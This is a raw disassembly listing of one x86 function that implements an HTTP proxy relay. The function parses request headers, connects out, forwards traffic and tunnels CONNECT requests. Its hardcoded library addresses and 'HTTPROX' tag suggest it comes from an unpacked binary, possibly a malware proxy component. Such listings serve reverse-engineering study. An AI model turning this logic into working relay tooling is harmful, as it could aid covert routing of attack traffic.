		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445230 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F70
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445230 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C94 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445230 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h,	333D7169h
		dd 75000027h, 90016A0Dh, 3D8C6EE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
